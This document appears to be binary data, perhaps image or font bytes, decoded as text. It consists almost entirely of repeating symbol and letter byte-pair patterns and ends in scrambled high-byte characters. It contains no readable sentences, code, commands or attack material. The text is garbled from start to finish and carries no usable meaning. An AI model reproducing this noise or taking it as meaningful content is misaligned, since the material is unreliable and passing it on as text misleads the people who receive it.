BA@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878765434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878743333334212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878734343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878734343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878734343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878734343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878734343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878734343333212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878733434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878743434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878743434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878743434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787876543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656533333434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656534343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656534343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656534343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656534343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656534343434212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656534333333212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:98787876565656543434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;878787876565656543434333212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;878787876565656533343434212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - !!""##$$rrqqkkjj - - ))**++,,ttssrrqqIIJJKKLLTTSSRRQQiijjkkll44332211==>>??@@BBAA@@?? &&''(())wwvvuuttFFGGHHIIWWVVUUTTffgghhii??@@AABB^^]]\\[[__``aabb>>==<<;;##$$%%&&kkjjiihh}}~~~~<<==>>??aa``__^^%%&&''((iihhggff --..//00ppoonnmmMMNNOOPPPPOONNMMmmnnoopp00//..-- AABBCCDD>>==<<;; - - **++,,--ssrrqqppJJKKLLMMSSRRQQPPjjkkllmmCCDDEEFFZZYYXXWWccddeeff::998877 - -''(())**ggffeedd !!""##}}||{{zz@@AABBCC]]\\[[ZZ))**++,,eeddccbb11223344llkkjjiiQQRRSSTTLLKKJJIIqqrrsstt,,++**)) - - EEFFGGHH::998765..//0011oonnmmllNNOOPPQQOONNMMLLnnooppqqGGHHIIJJVVUUTTSSgghhiijj66554433 ++,,--..ccbbaa``$$%%&&''yyxxwwvvDDEEFFGGYYXXWWVV--..//00aa``__^^55667788hhggffeeUUVVWWXXHHGGFFEEuuvvwwxx((''&&%%IIJJKKLL43322110 22334455kkjjiihhRRSSTTUUKKJJIIHHrrssttuu - -~~}}||{{KKLLMMNNRRQQPPOOkkllmmnn221100////001122__^^]]\\ - - (())**++uuttssrrHHIIJJKKUUTTSSRR11223344]]\\[[ZZ99::;;<>??@@``__^^]]]]^^__``@@??>>==}}~~ VVWWXXYY,++**))(::;;<<==ccbbaa``ZZ[[\\]]CCBBAA@@zz{{||}}vvuuttssSSTTUUVVJJIIHHGGssttuuvv**))(('' - - 778899::WWVVUUOO00112233mmllkkjjPPQQRRSSMMLLKKJJ99::;;<>??@@AA__^^]]\\^^__``aa??>>==<<~~ - - rrqqponmWWXXYYZZFFEEDDCCwwxxyyzz&&%%$$##;;<<==>>NNMMLLKK44556677iihhggffTTUUVVWWIIHHGGFF==>>??@@LLKKJJII%%&&''((xxwwvvuuEEFFGGHHXXWWVVUUeeffgghh88776655 - - ^^__``aa$##""!! ""##$$%%{{zzyyxxBBCCDDEE[[ZZYYXXbbccddee;;::9988 lkkjjiih[[\\]]^^BBAA@@??{{||}}~~""!!  !!""~~}}||{{??@@AABBJJIIHHGG8899::;;eeddccbbXXYYZZ[[EEDDCCBBAABBCCDDHHGGFFEE))**++,,ttssrrqqIIJJKKLLTTSSRRQQiijjkkll44332211 bbccddee  &&''(())wwvvuuttFFGGHHIIWWVVUUTTffgghhii77665544hggffeed__``aabb>>==<<;;##$$%%&&zzyyxxwwCCDDEEFFFFEEDDCC~~<<==>>??aa``__^^\\]]^^__AA@@??>>EEFFGGHHDDCCBBAA--..//00ppoonnmmMMNNOOPPPPOONNMMmmnnoopp00//..-- ffgghhii - - **++,,--ssrrqqppJJKKLLMMSSRRQQPPjjkkllmm33221100dccbbaa`ccddeeff::998877 - -''(())**vvuuttssGGHHIIJJBBAA@@?? !!""##}}||{{zz@@AABBCC]]\\[[ZZ``aabbcc==<<;;::IIJJKKLL@@??>>==11223344llkkjjiiQQRRSSTTLLKKJJIIqqrrsstt,,++**)) - - ~~}}||{{jjkkqqrr..//0011oonnmmllNNOOPPQQOONNMMLLnnooppqq//..--,, `__^^]]\gghhiijj66554433 ++,,--..rrqqppooKKLLMMNN>>==<<;;$$%%&&''yyxxwwvvDDEEFFGGYYXXWWVVddeeffgg99887766~~}}MMNNOOPP<<;;::9955667788hhggffeeUUVVWWXXHHGGFFEEuuvvwwxx((''&&%%zzyyxxwwssttuuvv22334455kkjjiihhRRSSTTUUKKJJIIHHrrssttuu++**))((!!""##$$\[[ZZYYXkkllmmnn221100////001122nnmmllkkOOPPQQRR::993322(())**++uuttssrrHHIIJJKKUUTTSSRRhhiijjkk55443322||{{zzyyQQRRSSTT3322110099::;;<>??@@``__^^]]]]^^__``@@??>>==}}~~ !!""##$$rrqqkkjj{{||}}~~ ::;;<<==ccbbaa``ZZ[[\\]]CCBBAA@@zz{{||}}##""!! ))**++,,SRQPOONNssttuuvv**))(('' - - 778899::ffeeddccWWXXYYZZ--,,++**00112233mmllkkjjPPQQRRSSMMLLKKJJppqqrrss--,,++**ttssrrqqYYZZ[[\\++**))((AABBCCDD\\[[ZZYYaabbccdd<<;;::99%%&&''((iihhggff !!~~}}||>>??@@AA__^^]]\\^^__``aa??>>==<<~~--..//00MMLLKKJJwwxxyyzz&&%%$$##;;<<==>>bbaa``__[[\\]]^^))((''&&44556677iihhggffTTUUVVWWIIHHGGFFttuuvvww))((''&&ppoonnmm]]^^__``''&&%%$$EEFFGGHHXXWWVVUUeeffgghh88776655 - - ))**++,,eeddccbb""##$$%%{{zzyyxxBBCCDDEE[[ZZYYXXbbccddee;;::998811223399IIHHGGFF{{||}}~~""!!  !!""~~}}||{{??@@AABB^^]]\\[[__``aabb%%$$##""8899::;;eeddccbbXXYYZZ[[EEDDCCBBxxyyzz{{%%$$##""llkkjjiiaabbccdd##""!! IIJJKKLLTTSSRRQQiijjkkll44332211 --..//00aa``__^^ &&''(())wwvvuuttFFGGHHIIWWVVUUTTffgghhii77665544::;;<<==EEDDCCBB##$$%%&&zzyyxxwwCCDDEEFFZZYYXXWWccddeeff!! <<==>>??aa``__^^\\]]^^__AA@@??>>||}}~~!! hhggffeeeeffgghhMMNNOOPPPPOONNMMmmnnoopp00//..-- 11223344]]\\[[ZZ - - **++,,--ssrrqqppJJKKLLMMSSRRQQPPjjkkllmm33221100>>??@@AAAA@@??>> - -''(())**vvuuttssGGHHIIJJVVUUTTSSgghhiijj@@AABBCC]]\\[[ZZ``aabbcc==<<;;::ddccbbaaiijjkkll~~}}||QQRRSSTTLLKKJJIIqqrrsstt,,++**)) - - 55667788YYXXWWVV..//0011oonnmmllNNOOPPQQOONNMMLLnnooppqq//..--,, BBCCDDEE==<<;;:: ++,,--..rrqqppooKKLLMMNNRRQQPPOOkkllmmnnDDEEFFGGYYXXWWVVddeeffgg99887766``__^^]]mmnnoopp{{zzyyxxUUVVWWXXHHGGFFEEuuvvwwxx((''&&%%99::;;<>??@@LLKKJJII66778899ggffeeddVVWWXXYYGGFFEEDDvvwwxxyy''&&%%$$JJKKLLMM3221100/ 33445566jjiihhggSSTTUUVVJJIIHHGGssttuuvv - - }}||{{zzLLMMNNOOQQPPOONNllmmnnoo1100//..XXWWVVUUuuvvwwxx - - - -ssrrqqpo]]^^__``@@??>>==}}~~ !!""##$$||{{zzyyAABBCCDDHHGGFFEE::;;<<==ccbbaa``ZZ[[\\]]CCBBAA@@zz{{||}}##""!! NNOOUUVV/..--,,+ - - 778899::ffeeddccWWXXYYZZFFEEDDCCwwxxyyzzyyxxwwvvPPQQRRSSMMLLKKJJppqqrrss--,,++** - -TTSSRRQQyyzz{{|| nmlkkjjiaabbccdd<<;;::99%%&&''((xxwwvvuuEEFFGGHHDDCCBBAA !!~~}}||>>??@@AA__^^]]\\^^__``aa??>>==<<~~WWXXYYZZ+**))((';;<<==>>bbaa``__[[\\]]^^BBAA@@??{{||}}~~uuttssrrTTUUVVWWIIHHGGFFttuuvvww))((''&& PPOONNMM}}~~ihhggffeeeffgghh88776655 - - ))**++,,ttssrrqqIIJJKKLL@@??>>==""##$$%%{{zzyyxxBBCCDDEE[[ZZYYXXbbccddee;;::9988 [[\\]]^^'&&%%$$# !!""~~}}||{{??@@AABB^^]]\\[[__``aabb>>==<<;; - - qqponmlkXXYYZZ[[EEDDCCBBxxyyzz{{%%$$##""LLKKJJIIeddccbbaiijjkkll44332211 --..//00ppoonnmmMMNNOOPP<<;;::99&&''(())wwvvuuttFFGGHHIIWWVVUUTTffgghhii77665544 - - __``aabb#""!! ##$$%%&&zzyyxxwwCCDDEEFFZZYYXXWWccddeeff::998877 kjjiihhg\\]]^^__AA@@??>>||}}~~!! HHGGFFEEa``__^^]mmnnoopp00//..-- 11223344llkkjjiiQQRRSSTT33221100**++,,--ssrrqqppJJKKLLMMSSRRQQPPjjkkllmm33221100ccddeeff - -''(())**vvuuttssGGHHIIJJVVUUTTSSgghhiijj66554433gffeeddc``aabbcc==<<;;::DDCCBBAA !!""##]\\[[ZZYqqrrsstt,,++**)) - - 55667788hhggffeeUUVVWWXX//..--,,..//0011oonnmmllNNOOPPQQOONNMMLLnnooppqq//..--,, ~~gghhiijj ++,,--..rrqqppooKKLLMMNNRRQQPPOOkkllmmnn221100//cbbaa``_ddeeffgg99887766 - - @@??>>==$$%%&&''YXXWWVVUuuvvwwxx((''&&%%99::;;<>??@@``__^^]]]]^^__``''&&%%$$66778899ggffeeddVVWWXXYYGGFFEEDDvvwwxxyy''&&%%$$yyxxwwvvttuuvvww 33445566jjiihhggSSTTUUVVJJIIHHGGssttuuvv**))((''""##$$%%[ZZYYXXWllmmnnoo1100//..88776655,,--..//NNMMLLKK}}~~ !!""##$$||{{zzyyAABBCCDD\\[[ZZYYaabbccdd##""!! ::;;<<==ccbbaa``ZZ[[\\]]CCBBAA@@zz{{||}}##""!!  !!uuttssrrxxyyzz{{ - - 778899::ffeeddccWWXXYYZZFFEEDDCCwwxxyyzz&&%%$$##&&''(())WVVUUTSRppqqrrss--,,++** - -4433221100112233JJIIHHGG%%&&''((xxwwvvuuEEFFGGHHXXWWVVUUeeffgghh>>??@@AA__^^]]\\^^__``aa??>>==<<~~""##$$%%qqkkjjii||}}~~;;<<==>>bbaa``__[[\\]]^^BBAA@@??{{||}}~~""!! **++,,--QPOONNMMttuuvvww))((''&& 00//..--99::;;<>==<<;;..//0011LLKKJJIIxxyyzz{{%%$$##"",,++**))==>>??@@BBAA@@?? --..//00ppoonnmmMMNNOOPPPPOONNMMmmnnooppFFGGHHIIWWVVUUTTffgghhii77665544 - - **++,,--ddccbbaa##$$%%&&zzyyxxwwCCDDEEFFZZYYXXWWccddeeff::998877223399::HHGGFFEE||}}~~!!  !!""##((''&&%%AABBCCDD>>==<<;; 11223344llkkjjiiQQRRSSTTLLKKJJIIqqrrsstt ~~}}||JJKKLLMMSSRRQQPPjjkkllmm33221100..//0011``__^^]] - -''(())**vvuuttssGGHHIIJJVVUUTTSSgghhiijj66554433;;<<==>>DDCCBBAA$$%%&&''$$##""!!EEFFGGHH::998765 - - 55667788hhggffeeUUVVWWXXHHGGFFEEuuvvwwxx - - {{zzyyxxNNOOPPQQOONNMMLLnnooppqq//..--,, 22334455\\[[ZZYY ++,,--..rrqqppooKKLLMMNNRRQQPPOOkkllmmnn221100//??@@AABB@@??>>== - - (())**++ IIJJKKLL4332211099::;;<>??@@``__^^]]]]^^__``@@??>>==}}~~ - -ssrrqqpoVVWWXXYYGGFFEEDDvvwwxxyy''&&%%$$::;;<<==OONNMMLL33445566jjiihhggSSTTUUVVJJIIHHGGssttuuvv**))(('' - - GGHHIIJJ8765433200112233VVWWXXYY,++**))(!!""##$$||{{zzyyAABBCCDD\\[[ZZYYaabbccdd<<;;::99 nmlkkjjiZZ[[\\]]CCBBAA@@zz{{||}}##""!!  !!~~}}||>>??@@AAKKJJIIHH778899::ffeeddccWWXXYYZZFFEEDDCCwwxxyyzz&&%%$$##KKLLMMNN21100//. - -44556677ZZ[[\\]](''&&%%$%%&&''((xxwwvvuuEEFFGGHHXXWWVVUUeeffgghh88776655ihhggffe^^__``aa??>>==<<~~""##$$%%{{zzyyxxBBCCDDEEGGFFEEDD;;<<==>>bbaa``__[[\\]]^^BBAA@@??{{||}}~~""!! OOUUVVWW.--,,++* 8899::;; ^^__``aa$##""!! - - ))**++,,ttssrrqqIIJJKKLLTTSSRRQQiijjkkll44332211eddccbbabbccddee;;::9988 &&''(())wwvvuuttFFGGHHIICCBBAA@@ !!""~~}}||{{??@@AABB^^]]\\[[__``aabb>>==<<;;XXYYZZ[[*))((''&~~<<==>>?? - - bbccddee  --..//00ppoonnmmMMNNOOPPPPOONNMMmmnnoopp00//..--a``__^^]ffgghhii77665544 - - **++,,--ssrrqqppJJKKLLMM??>>==<<##$$%%&&zzyyxxwwCCDDEEFFZZYYXXWWccddeeff::998877 - -\\]]^^__&%%$$##" !!""##}}||{{zz@@AABBCC\\]]^^__ - - ffgghhii11223344llkkjjiiQQRRSSTTLLKKJJIIqqrrsstt,,++**)) !!""##]\\[[ZZYjjkkllmm33221100..//0011oonnmmllNNOOPPQQ;;::9933''(())**vvuuttssGGHHIIJJVVUUTTSSgghhiijj66554433 ``aabbcc"!! $$%%&&''yyxxwwvvDDEEFFGG``aabbcc jjkkqqrr55667788hhggffeeUUVVWWXXHHGGFFEEuuvvwwxx((''&&%%$$%%&&''YXXWWVVUnnooppqq//..--,, 22334455kkjjiihhRRSSTTUU221100//++,,--..rrqqppooKKLLMMNNRRQQPPOOkkllmmnn221100//ddeeffgg - - (())**++uuttssrrHHIIJJKKddeeffggssttuuvv99::;;<>??@@``__^^]]]]^^__``@@??>>==}}~~ ,,--..//NNMMLLKKvvwwxxyy''&&%%$$::;;<<==ccbbaa``ZZ[[\\]]**))((''33445566jjiihhggSSTTUUVVJJIIHHGGssttuuvv**))(('' - - ||{{zzyyqqrrsstt00112233mmllkkjjPPQQRRSSllmmnnoozzyyxxww{{||}}~~ !!""##$$||{{zzyyAABBCCDD\\[[ZZYYaabbccdd<<;;::9900112233JJIIHHGGzz{{||}}##""!!  !!~~}}||>>??@@AA__^^]]\\^^__``aa&&%%$$##778899::ffeeddccWWXXYYZZFFEEDDCCwwxxyyzz&&%%$$##xxwwvvuuuuvvwwxx 44556677iihhggffTTUUVVWWppqqrrss vvuuttss%%&&''((xxwwvvuuEEFFGGHHXXWWVVUUeeffgghh8877665599::;;<>bbaa``__[[\\]]^^BBAA@@??{{||}}~~""!!  !!""ttssrrqqyyzz{{|| - - 8899::;;eeddccbbXXYYZZ[[ttuuvvwwxxyyzz{{%%$$##""LLMMNNOO100//..- - - 55667788hhggffeeUUVVWWXXHHGGFFEEuuvvwwxx - - {{zzyyxxNNOOPPQQOONNMMLLnnooppqq//..--,, MMNNOOUU++**))((||}}~~!! UUVVWWXX-,,++**)99::;;<>??@@``__^^]]]]^^__``@@??>>==}}~~ - -ssrrqqpoVVWWXXYYGGFFEEDDvvwwxxyy''&&%%$$ZZ[[\\]]##""!!  - - ]]^^__``%$$##""!!!""##$$||{{zzyyAABBCCDD\\[[ZZYYaabbccdd<<;;::99 nmlkkjjiZZ[[\\]]CCBBAA@@zz{{||}}##""!! ^^__``aa aabbccdd! %%&&''((xxwwvvuuEEFFGGHHXXWWVVUUeeffgghh88776655ihhggffe^^__``aa??>>==<<~~bbccddeeeeffgghh - - ))**++,,ttssrrqqIIJJKKLLTTSSRRQQiijjkkll44332211eddccbbabbccddee;;::9988 ffgghhii - -~~}}||iijjkkqq --..//00ppoonnmmMMNNOOPPPPOONNMMmmnnoopp00//..--a``__^^]ffgghhii77665544 - - jjkkqqrr {{zzyyxxrrssttuu11223344llkkjjiiQQRRSSTTLLKKJJIIqqrrsstt,,++**)) !!""##]\\[[ZZYjjkkllmm33221100ssttuuvv wwvvuuttvvwwxxyy 55667788hhggffeeUUVVWWXXHHGGFFEEuuvvwwxx((''&&%%$$%%&&''YXXWWVVUnnooppqq//..--,, ~~}}||{{wwxxyyzz - -  !!""##ssrrqqkkzz{{||}} - - 99::;;<>??@@``__^^]]]]^^__``@@??>>==}}~~ ,,--..//NNMMLLKKvvwwxxyy''&&%%$$vvuuttss - - (())**++ffeeddcc!!""##$$||{{zzyyAABBCCDD\\[[ZZYYaabbccdd<<;;::9900112233JJIIHHGGzz{{||}}##""!!  !!rrqqkkjj ,,--..//bbaa``__%%&&''((xxwwvvuuEEFFGGHHXXWWVVUUeeffgghh8877665599::;;<>??@@BBAA@@?? &&''(())eeddccbb44556677ZZYYXXWW --..//00ppoonnmmMMNNOOPPPPOONNMMmmnnoopp00//..-- AABBCCDD>>==<<;; - - **++,,--aa``__^^ !!8899::;;VVUUOONN11223344llkkjjiiQQRRSSTTLLKKJJIIqqrrsstt,,++**)) - - EEFFGGHH::998765..//0011]]\\[[ZZ""##$$%%~~<<==>>??MMLLKKJJ55667788hhggffeeUUVVWWXXHHGGFFEEuuvvwwxx((''&&%%IIJJKKLL43322110 22334455YYXXWWVV&&''(()) !!""##}}||{{zz@@AABBCCIIHHGGFF99::;;<>??@@``__^^]]]]^^__``@@??>>==}}~~ VVWWXXYY,++**))(::;;<<==LLKKJJII..//0011(())**++uuttssrrHHIIJJKKAA@@??>>!!""##$$||{{zzyyAABBCCDD\\[[ZZYYaabbccdd<<;;::99ZZ[[\\]](''&&%%$ !!~~}}||>>??@@AAHHGGFFEE22334455,,--..//qqppoonnLLMMNNOO==<<;;::%%&&''((xxwwvvuuEEFFGGHHXXWWVVUUeeffgghh88776655 - - ^^__``aa$##""!! ""##$$%%{{zzyyxxBBCCDDEEDDCCBBAA6677889900112233mmllkkjjPPQQRRSS99332211))**++,,ttssrrqqIIJJKKLLTTSSRRQQiijjkkll44332211 bbccddee  &&''(())wwvvuuttFFGGHHII@@??>>==::;;<<==44556677iihhggffTTUUVVWW00//..----..//00ppoonnmmMMNNOOPPPPOONNMMmmnnoopp00//..-- ffgghhii - - **++,,--ssrrqqppJJKKLLMM<<;;::99>>??@@AA8899::;;eeddccbbXXYYZZ[[,,++**))11223344llkkjjiiQQRRSSTTLLKKJJIIqqrrsstt,,++**)) - - ~~}}||{{jjkkqqrr..//0011oonnmmllNNOOPPQQ33221100BBCCDDEE~~<<==>>??aa``__^^\\]]^^__((''&&%%55667788hhggffeeUUVVWWXXHHGGFFEEuuvvwwxx((''&&%%zzyyxxwwssttuuvv22334455kkjjiihhRRSSTTUU//..--,,FFGGHHII}}||{{zz@@AABBCC]]\\[[ZZ``aabbcc$$##""!!99::;;<>??@@``__^^]]]]^^__``@@??>>==}}~~ !!""##$$rrqqkkjj{{||}}~~ ::;;<<==ccbbaa``ZZ[[\\]]''&&%%$$~~}}||NNOOPPQQuuttssrrHHIIJJKKUUTTSSRRhhiijjkkAABBCCDD\\[[ZZYYaabbccdd<<;;::99%%&&''((iihhggff !!~~}}||>>??@@AA__^^]]\\^^__``aa##""!! {{zzyyxxRRSSTTUUqqppoonnLLMMNNOOQQPPOONNllmmnnooEEFFGGHHXXWWVVUUeeffgghh88776655 - - ))**++,,eeddccbb""##$$%%{{zzyyxxBBCCDDEE[[ZZYYXXbbccddeewwvvuuttVVWWXXYYmmllkkjjPPQQRRSSMMLLKKJJppqqrrss ~~}}IIJJKKLLTTSSRRQQiijjkkll44332211 --..//00aa``__^^ &&''(())wwvvuuttFFGGHHIIWWVVUUTTffgghhiissrrqqppZZ[[\\]]iihhggffTTUUVVWWIIHHGGFFttuuvvww - - ||{{zzyyMMNNOOPPPPOONNMMmmnnoopp00//..-- 11223344]]\\[[ZZ - - **++,,--ssrrqqppJJKKLLMMSSRRQQPPjjkkllmmoonnmmll^^__``aaeeddccbbXXYYZZ[[EEDDCCBBxxyyzz{{xxwwvvuuQQRRSSTTLLKKJJIIqqrrsstt,,++**)) - - 55667788YYXXWWVV..//0011oonnmmllNNOOPPQQOONNMMLLnnooppqq kkjjiihhbbccddeeaa``__^^\\]]^^__AA@@??>>||}}~~ ttssrrqqUUVVWWXXHHGGFFEEuuvvwwxx((''&&%%99::;;<>??@@LLKKJJII66778899ggffeeddVVWWXXYYGGFFEEDDvvwwxxyy ccbbaa``jjkkllmmYYXXWWVVddeeffgg99887766jiihhggf]]^^__``@@??>>==}}~~ !!""##$$||{{zzyyAABBCCDDHHGGFFEE::;;<<==ccbbaa``ZZ[[\\]]CCBBAA@@zz{{||}}__^^]]\\nnooppqqUUTTSSRRhhiijjkk55443322feeddccbaabbccdd<<;;::99%%&&''((xxwwvvuuEEFFGGHHDDCCBBAA !!~~}}||>>??@@AA__^^]]\\^^__``aa??>>==<<~~[[ZZYYXXrrssttuuQQPPOONNllmmnnoo1100//..baa``__^eeffgghh88776655 - - ))**++,,ttssrrqqIIJJKKLL@@??>>==""##$$%%{{zzyyxxBBCCDDEE[[ZZYYXXbbccddee;;::9988WWVVUUTTvvwwxxyyMMLLKKJJppqqrrss--,,++** !!""^]]\\[[Ziijjkkll44332211 --..//00ppoonnmmMMNNOOPP<<;;::99&&''(())wwvvuuttFFGGHHIIWWVVUUTTffgghhii77665544 !!""##SSRRQQPPzz{{||}}IIHHGGFFttuuvvww))((''&&##$$%%&&ZYYXXWWVmmnnoopp00//..-- 11223344llkkjjiiQQRRSSTT33221100**++,,--ssrrqqppJJKKLLMMSSRRQQPPjjkkllmm33221100$$%%&&''OONNMMLL~~EEDDCCBBxxyyzz{{%%$$##""''(())**VUUTSRQPqqrrsstt,,++**)) - - 55667788hhggffeeUUVVWWXX//..--,,..//0011oonnmmllNNOOPPQQOONNMMLLnnooppqq//..--,,(())**++KKJJIIHHAA@@??>>||}}~~!! ++,,--..OONNMMLLuuvvwwxx((''&&%%99::;;<>??@@``__^^]]]]^^__``''&&%%$$66778899ggffeeddVVWWXXYYGGFFEEDDvvwwxxyy''&&%%$$00112233CCBBAA@@998877663399::;;GGFFEEDD}}~~ !!""##$$||{{zzyyAABBCCDD\\[[ZZYYaabbccdd##""!! ::;;<<==ccbbaa``ZZ[[\\]]CCBBAA@@zz{{||}}##""!! 99::;;<>==<<55443322<<==>>??CCBBAA@@%%&&''((xxwwvvuuEEFFGGHHXXWWVVUUeeffgghh>>??@@AA__^^]]\\^^__``aa??>>==<<~~==>>??@@;;::99881100//..@@AABBCC??>>==<< - - ))**++,,ttssrrqqIIJJKKLLTTSSRRQQiijjkkllBBCCDDEE[[ZZYYXXbbccddee;;::9988AABBCCDD77665544--,,++** - -DDEEFFGG;;::9987 --..//00ppoonnmmMMNNOOPPPPOONNMMmmnnooppFFGGHHIIWWVVUUTTffgghhii77665544EEFFGGHH33221100))((''&& HHIIJJKK65433221 11223344llkkjjiiQQRRSSTTLLKKJJIIqqrrsstt ~~}}||JJKKLLMMSSRRQQPPjjkkllmm33221100IIJJKKLL//..--,,fpvp˂rrtAdQZXnv|ZdQbfpvbHAZdrtAvpfr˂p|ZdQbfpvbHAZdrtAvpftlJ~Hfp˂rXQltb~f`tAd|~HfJ`ےdQZ|vXn`JXQrrd|~HXvrAJlpfH~˂pZHAdQbtvnXHAZp˂rtAJlpfH~lJtAv`frXQJdQZ|H~f`JXQHfpvےbHA|drnvpXQr˂nXv`XQJ`ے|drp`vXtlJnXv`p˂rJltH~fZHAbtlJnXv`p˂rJltے`JXQtArdvnXJ`ےdQZ|vXnZdQbtpvnbHAZpdrtAJvpfH˂pZZdQbt`f~tbdQf`vbے`lJtArv`frXQJtbdQf`vd|Z~Hfp`ےbdrtAJ`vXnrbt璀nXvZp˂tAJlfH~pZ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J`tbdQZf`vXl|ZdQXv`fbHAZdrtAvpfbtlnXv`p˂rJltH~fZHAbtlJXv`ftbdQvXn`JXQrrd|~HfJ`ےdQZ|vXn`ZQXb`vXndrQtHfpvےbHA|drnvpbtl~Hfp˂rJltH~fJtAdf~HXQJ`ےbdQZ|`vXnے`JXQtArd~HXZ|rAJvpfH˂pZZdQbtpvnbHAZpdrtAJvpfHۑpJvˍpfJltnXvZp˂tAJlfے`JJtArdpvnXQJ`ےbdQZ|`vXn|ZdQbfpvbHAZdrtAvpfr˂p|ZdQbv`fltb~f`HAb